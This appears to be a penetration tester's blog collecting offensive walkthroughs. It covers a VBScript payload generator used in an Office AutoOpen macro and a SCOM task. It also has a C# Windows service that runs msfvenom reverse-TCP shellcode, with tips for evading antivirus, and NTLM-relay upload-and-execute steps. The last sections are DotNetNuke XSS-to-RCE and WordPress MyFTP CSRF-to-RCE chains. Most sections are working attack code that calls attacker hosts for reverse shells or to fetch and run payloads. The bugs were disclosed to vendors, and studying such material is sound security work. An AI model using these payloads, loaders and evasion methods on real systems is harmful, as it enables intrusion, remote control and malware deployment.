Yet another VBS pwncode generator

[gen_vbs.py]

The reason why there are tools like this is (probably) because nobody likes writing their malicious stuff in vbs, but sometimes vbs is the only way you can execute code.

Here are the two vbscript shellcode things I’ve used in the past: one from didierstevens, and one in metasploit. A common theme is that both of these seem to basically make a call to virtualalloc, move shellcode there, and execute it. They also both seem to flag on my AV, which after taking a bunch of stuff out, seems to just trigger on virtualalloc in vbscript whether or not it’s malicious (but I’m not 100% sure what it’s flagging on).

My script gen_vbs.py is slightly different. It will encode a file as base64 as part of the script, and then write that file to disk (this could be an exe, powershell or more vbs!). It can then execute that file. This allows quite a bit of flexability. I’ve put the script on github.

Office Doc Macros Example

This will walk through creating vbscript that will start calc when someone opens an Office document after they click through a warning. With very slight modifications you could connect back meterpreter, which I’ll show the steps in the scom example after this.

First, generate the vbscript (there isn’t much here since all it’s doing is executing calc and has no file to write)

#python gen_vbs.py --cmd="C:\\Windows\\System32\\calc.exe" --office --debug

Option Explicit

Const TypeBinary = 1
Const ForReading = 1, ForWriting = 2, ForAppending = 8

Private Function getVar(mvar)
  Dim objshell
  Dim envObj
  Set objshell = CreateObject("WScript.Shell")
  Set envObj = objshell.Environment("PROCESS")
  getVar = envObj(mvar)
End Function
Private Sub execfile()
  Dim cmd
  cmd = "C:\Windows\System32\calc.exe"
  cmd = Replace(cmd, "%TEMP%", getVar("temp"))
  cmd = Replace(cmd, "%SYSTEMROOT%", getVar("windir"))
  Dim runObj
  Set runObj = CreateObject("Wscript.Shell")
  runObj.run cmd, 0, true
End Sub
  
Sub AutoOpen()
   execfile
End Sub

Notice the AutoOpen() command, which will trigger when a word document is opened (if the settings allow it). There are several other places to trigger functions, such as AutoClose(). Here are several.

Anyway, create a new word document. I’m using Office 2013. Then go to view -> macros.

viewmacro

Click create, and paste the vbscript in the file.

What happens when a user opens it depends on their macro settings. The default is to “Disable all macros with notification”, so they’ll probably get a nasty warning like this.

disabled_macros

If they open the document and enable macros, calc will run. It’s one of the oldest social engineer things on earth.

macro_run

SCOM Example

My good friend Justin gave an awesome talk at defcon. One of the examples he gave was code execution on the domain controller through a compromised SCOM monitoring server. SCOM boxes are often more exposed than a domain controller, and can run arbitrary code on other boxen (like domain controllers). But guess what? They do it through vbscript.

First let’s figure out what we want to execute. I’m using powersploit as the stage one for a reverse metasploit meterpreter shell. So I grab Invoke-Shellcode and add the following line to the ps1

Invoke-Shellcode -Force -Payload windows/meterpreter/reverse_https -Lhost 192.168.3.154 -UserAgent "Microsoft Word" -Lport 443

Next, let’s generate our vbscript so the powershell executes on the server we want. Call my script like this

# python gen_vbs.py --inputFile ./Invoke-Shellcode.ps1 \
--writeFilePath="%TEMP%\\invoke_ping.ps1" \
-cmd="%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe \
-executionpolicy bypass  %TEMP%\\invoke_ping.ps1" > output.vbs

and set up a reverse meterpreter listener

msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST x.x.x.x
LHOST => 192.168.138.154
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on https://192.168.138.154:443/
[*] Starting the payload handler...

Justin has a walkthrough of this on the youtube video from his blog, but the quick version is:Start SCOM console, connect to the server with the account, go to “Authoring -> Tasks -> Create a new task”

scom1

Follow the prompts. We want to run this on Windows servers. Let’s name in “Extended Ping”. Then paste the vbscript generated by the tool and create the task.

scom3

Go to the “Monitoring” tab, and now you’re free to execute our new task on any servers we’re monitoring

scom4

Run, and we get our meterpreter shell as system.

meterpreter

AV Evading Meterpreter Shell from a .NET Service

Update: I tried this in April 2013, and it still works quite well if you obfuscate the .net (e.g. using dotfuscator or there are plenty of free ones). I still use the generic idea for SMB type things, like NTLM relaying. That said, for simply evading AV, I highly recommend going the powershell route instead. Powersploit has meterpreter connectback built in, so you don’t even need to do anything. It’s awesome https://github.com/mattifestation/PowerSploit

Quite a few successful attacks rely on creating a malicious service at some point in the attack chain. This can be very useful for a couple reasons. First, in post exploitation scenarios these services are persistent, and (although noisy) these can be set to start when a connection fails or across reboots. Second, malicious services are also an extremely common way that boxes are owned in the first place – it’s part of how psexec and smb NTLM relaying work. In Metasploit by default, these are exploit modules most commonly used by selecting from their available payloads. One thing people may not realize is that these payloads are just turned into service binaries and then executed. You don’t need to necessarily use low level machine code – your “shellcode” can just be written in .NET if you want.

The strategy I’ll use here is to create a stage 1 .NET meterpreter service that connects back to our stage 2 host.

Maybe the easiest way to create a service is to use Visual Studio. Go to new project, and select Window Service, which should give you a nice skeleton.

Generate our stage 1 and put it in a C# byte array format. I wrote a python script to do this.

#!/usr/bin/python

###
# simple script that generates a meterpreter payload suitable for a .net executable
###

import argparse
import re
from subprocess import *

parser = argparse.ArgumentParser()
parser.add_argument('--lhost', required=True, help='Connectback IP')
parser.add_argument('--lport', required=True, help='Connectback Port')
parser.add_argument('--msfroot', default='/opt/metasploit/msf3')
args = parser.parse_args()


def create_shellcode(args):
    msfvenom = args.msfroot + "/msfvenom"
    msfvenom = (msfvenom + " -p windows/meterpreter/reverse_tcp LHOST=" + args.lhost + " LPORT=" + args.lport + " -e x86/shikata_ga_nai -i 15 -f c")
    msfhandle = Popen(msfvenom, shell=True, stdout=PIPE)
    try:
        shellcode = msfhandle.communicate()[0].split("unsigned char buf[] = ")[1]
    except IndexError:
        print "Error: Do you have the right path to msfvenom?"
        raise
    #put this in a C# format
    shellcode = shellcode.replace('\\', ',0').replace('"', '').strip()[1:-1]
    return shellcode

print create_shellcode(args)

Next, we can copy/paste our shellcode into a skeleton C# service, and execute it by virtualallocing a bit of executable memory and creating a new thread. One of my buddies pointed me at http://web1.codeproject.com/Articles/8130/Execute-Native-Code-From-NET, which was helpful when writing this.

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Linq;
using System.ServiceProcess;
using System.Text;
using System.Runtime.InteropServices;

namespace metservice
{
    public partial class Service1 : ServiceBase
    {
        public Service1()
        {
            InitializeComponent();
        }

        protected override void OnStart(string[] args)
        {
            // native function's compiled code
            // generated with metasploit
            byte[] shellcode = new byte[] {
0xbf,0xe2,0xe6,0x44,.... (stage 1 shellcode)
                };

            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
                                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            // prepare data


            IntPtr pinfo = IntPtr.Zero;

            // execute native code

            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);

      }

        private static UInt32 MEM_COMMIT = 0x1000;

        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;


        [DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress,
                              UInt32 dwSize, UInt32 dwFreeType);

        [DllImport("kernel32")]
        private static extern IntPtr CreateThread(

          UInt32 lpThreadAttributes,
          UInt32 dwStackSize,
          UInt32 lpStartAddress,
          IntPtr param,
          UInt32 dwCreationFlags,
          ref UInt32 lpThreadId

          );
        [DllImport("kernel32")]
        private static extern bool CloseHandle(IntPtr handle);

        [DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(

          IntPtr hHandle,
          UInt32 dwMilliseconds
          );
        [DllImport("kernel32")]
        private static extern IntPtr GetModuleHandle(

          string moduleName

          );
        [DllImport("kernel32")]
        private static extern UInt32 GetProcAddress(

          IntPtr hModule,
          string procName

          );
        [DllImport("kernel32")]
        private static extern UInt32 LoadLibrary(

          string lpFileName

          );
        [DllImport("kernel32")]
        private static extern UInt32 GetLastError();


        protected override void OnStop()
        {
        }
    }
}

We still need to create our stage 2 listener on our attacker box from within metasploit.

msf > use exploit/multi/handler
msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LPORT 443
...

Now we have our service, which when added and started will connect back to our listening attacker box. At which point we have a meterpreter shell running as system.

This is close to the exact same thing I did here with my http_ntlmrelay module. Using that, we have two steps. One is uploading our malicious .net service, and the second is starting that service.

use auxiliary/server/http_ntlmrelay
#SMB_PUT our malicious windows service (named metservice.exe) onto the victim
set RHOST mwebserver
set RPORT 445
set RTYPE SMB_PUT
set URIPATH /1
set RURIPATH c$\\Windows\\rla7cu.exe
set FILEPUTDATA /root/ntlm_demo/smb_pwn/metservice.exe
run
#Execute the malicious windows service
set RTYPE SMB_PWN
set RURIPATH %SystemRoot%\\rla7cu.exe
set URIPATH /2
run

Out of the box, this service already evades most AV (there are 0 detections when I uploaded to virustotal).

However, as AV companies do, they could update their stuff to figure out a way of detecting this. In the middle of a pentest, I already got an email from a concerned stakeholder asking about this service, which I had named “gonnaownyou” or something (yes, I know, sloppy, but I can be loud and arrogant). This concerned stake holder said they were in the process of analyzing the binary to determine if it was malicious. Surprised they had detected anything, I immediately dropped the binary into reflector, and it really couldn’t be more obvious that it is in fact malicious. I mean, my byte array is named “shellcode”, even in reflector.

As an attacker, the good news is we’re in .NET land now. It’s really very easy to modify C# compared to low level shellcode. All our real shellcode is just a string, which we can hide however the hell we want – we could easily download it from somewhere, use encryption, etc. with only a few code changes. In fact, we might not even have to modify our code above at all. There is an entire legitimate market to make managed code tough to analyze to protect IP and whatnot. Think dotfuscator. I’m not an AV guy – I usually know just enough to evade it – but it seems to me that for an AV company to detect our dotfuscated shellcode would be a difficult problem.

You know how it’s often referred to as an arms race/escalation game when people try to bypass AV, and then AV companies try to detect that? You know how they say basically the same thing about code obfuscating type solutions? Well, I don’t like spending my time evading AV, so I have this funny fantasy where I pit the code obfuscator people against the AV companies and they escalate their approaches against each other, leaving me out of the escalation equation completely :)

Server Shells from Web Clientside Attacks

One kind of attack that seems to be popular these days is the “broad impact” attack. These are the vulnerabilities that include “CSRF logout on Facebook” or “Self XSS using drag and drop on code.google.com”. The impact of these attacks is sometimes limited, but that’s made up for in a big way because there are just so many people that use Google and Facebook.

This post is kind of the opposite of that.*

Remember all those bug bounties and bulletins that security researchers have got for targeting a custom support internal web application and using that to compromise everything? Oh yeah, most companies probably don’t want to encourage that sort of delinquent behavior. And although these types of attacks are not “broad impact”, the criticality of these bugs can be freaking scary.

DotNetNuke XSS to RCE

One example of this can be shown by using one of the bugs I found with DotNetNuke.

This was kind of interesting. It turns out on a default install anyone can send “messages” which are kind of like a DotNetNuke version of email. You can get script into these messages, and with script running in an administrator account you get RCE. Pretty much every piece of this is straightforward.

  • The XSS is trigerred with HTML editable pages via <img src=”http://asdfasdf/blah&#8221; alt=”” />
  • The host user has a lot of power, and can do things like upload arbitrary aspx pages and execute them (as shown in the demo) or execute arbitrary SQL

Here are the repro steps for dotnetnuke 6.00.01, which was the current version when I found this:

  • Create metasploit connectback
  • Create metasploit listener
  • Start shell of the future… or do several requests and scrape VIEWSTATE which is the csrf mitigation. We can’t simply steal the session cookie since it’s set to httponly.
  • Get XSS in the host account. The basic XSS is simply an img onerror. The payload for shell of the future looks like this, but before sending it needs to be HTML encoded:
 
javascript:eval("s=document.createElement('script');
s.src='http://192.168.154.137:8000/e1.js';
document.getElementsByTagName('head')[0].appendChild(s)") 
  • With the XSS shell or dynamically with Javascript if you have time, enable aspx uploads. Note that at this point SQL injection is also possible.
  • Create an RCE C# script to execute meterpreter and upload to the server.

<script type="text/javascript">// <![CDATA[
 protected override void OnLoad(EventArgs e)
 {
 System.Net.WebClient client = new System.Net.WebClient();
 client.DownloadFile(@"http://webstersprodigy.net/manuploads/test92.txt", @"C:\windows\TEMP\test92.txt");
 System.Diagnostics.Process p = new System.Diagnostics.Process();
 p.StartInfo.UseShellExecute = false;
 p.StartInfo.RedirectStandardOutput = true;
 p.StartInfo.FileName = @"C:\windows\TEMP\test92.txt";
 p.Start();
Response.Write("Success");
 }
// ]]></script>

  • Finally, force browse to the page for a shell.

They fixed this with the bulletins below, although not sure I agree with the low/moderate rating since it’s pretty much a guaranteed shell as long as admins read their dotnetnuke messages.

http://www.dotnetnuke.com/News/Security-Policy/Security-bulletin-no.60.aspx

http://www.dotnetnuke.com/News/Security-Policy/Security-bulletin-no.62.aspx

WordPress MyFTP plugin CSRF to RCE

Have you ever used a piece of software, and you just know it’s hackable? That’s how I’ve been using MyFTP on this very site for a while. It’s an incredibly useful tool. It looks like it’s not super popular, but apparently the most recent version has had over 28,000 downloads at the time of this writing.

So I finally decided to look at this. It turns out everything is vulnerable to CSRF. There are several nasty exploits here. One of the easiest is being able to delete any file with the right permissions. Another easy one is being able to edit any file with the right permissions. One that’s a bit less straightforward is the file upload feature.

In this demo attack, I opted to try the file upload route using this technique I’ve been wanting to try for a while now: http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html. The idea is that you use CORs to send the cross domain request, and you have more control over things like headers and multi part data. There’s the origin header sent, but who cares because the application ignores it.

Here are the repro steps:

1. Create Stage 1

It’s super cool that metasploit has a php meterpreter payload now. The raw php looks something like this:

./msfpayload php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > bad.php

But since I’m uploading this using Javascript in step 2, I want a more JS-friendly format.

./msfpayload php/meterpreter/reverse_tcp LHOST=71.197.218.6  LPORT=443 -t pl | tr “.” “+” > js_php

2. Stage 2 Listener

use exploit/multi/handlerset PAYLOAD php/meterpreter/reverse_tcpset LHOST x.x.x.xexploit

3. Create a malicious page that uploads the PHP file using the CSRF bug

Using the CORs techniques mentioned above, the CSRF script will look similar to the following:

<script type="text/javascript">// <![CDATA[
function fileUpload(url, fileData, fileName) {
 var fileSize = fileData.length,
 boundary = "xxxxxxxxx",
 xhr = new XMLHttpRequest();
 xhr.withCredentials = "true";

 xhr.open("POST", url, true);
 // simulate a file MIME POST request.
 xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
 xhr.setRequestHeader("Content-Length", fileSize);

 var body = "--" + boundary + "rn";
 body += 'Content-Disposition: form-data; name="desiredLocation"' + 'rnrn';
 body += '/var/www/public_htmlrn';
 body += "--" + boundary + "rn";
 body += 'Content-Disposition: form-data; name="upfile"; filename="' + fileName + '"rn';
 body += 'Content-Type: text/plainrnrn';
 body += fileData + "rn";
 body += "--" + boundary + "rn";
 body += 'Content-Disposition: form-data; name="upload"rnrn';
 body += 'Upload To Current Pathrn';
 body += "--" + boundary + "--";

 xhr.send(body);
 return true;
}

//encoded stage 1 payload in JS friendly form... from step 0
var data =
"x3cx3fx70x68x70x0ax0ax65x72x72x6fx72x5f" +
"x72x65x70x6fx72x74x69x6ex67x28x30x29x3bx0a" +
...

fileUpload('http://webstersprodigy.net/wp-admin/options-general.php?page=MyFtp&dir=/var/www/public_html/', data, 'bwahaha.php');
// ]]></script>

4. Profit

Now that the page is uploaded, visit it, and get a shell.

I reported this bug to wordpress, who has a great security team full of smart responsive people, and this was their response. This seems like the right course of action to me:

“The security team reviewed the report and based on the nature of the vulnerability, the current state of the plugin (unmaintained, not updated), and the inability to contact the author, they have decided the best course of action is to just remove it from the plugin directory. This also means that it will not be returned in any API results, etc making it impossible to install from the built-in plugin installer in the WordPress dashboard.”

It would be cool to notify the people who have the plugin installed, but I have no idea if WordPress would even have that kind of information.

Conclusions

So lets look at the nature of these types of attacks. When you have a powerful account/application, clientside attacks may be tougher to exploit realistically (it’s tougher to get a specific admin to visit your evil website than just somebody random who happens to be logged into Facebook) but there can also be a bigger payoff.

As consumers, if you use a powerful feature then I think it’s smart to run these types of things in their own incognito session or environment so clientside attacks like these are harder to pull off. As security people trying to make the web a safer place, I think this is a bit of a blind spot. We spend a lot of time and money making our car bullet proof and then leave the doors unlocked.

*Not to diminish the “broad impact” bugs. Those are awesome too.

Follow

Get every new post delivered to your Inbox.

Join 34 other followers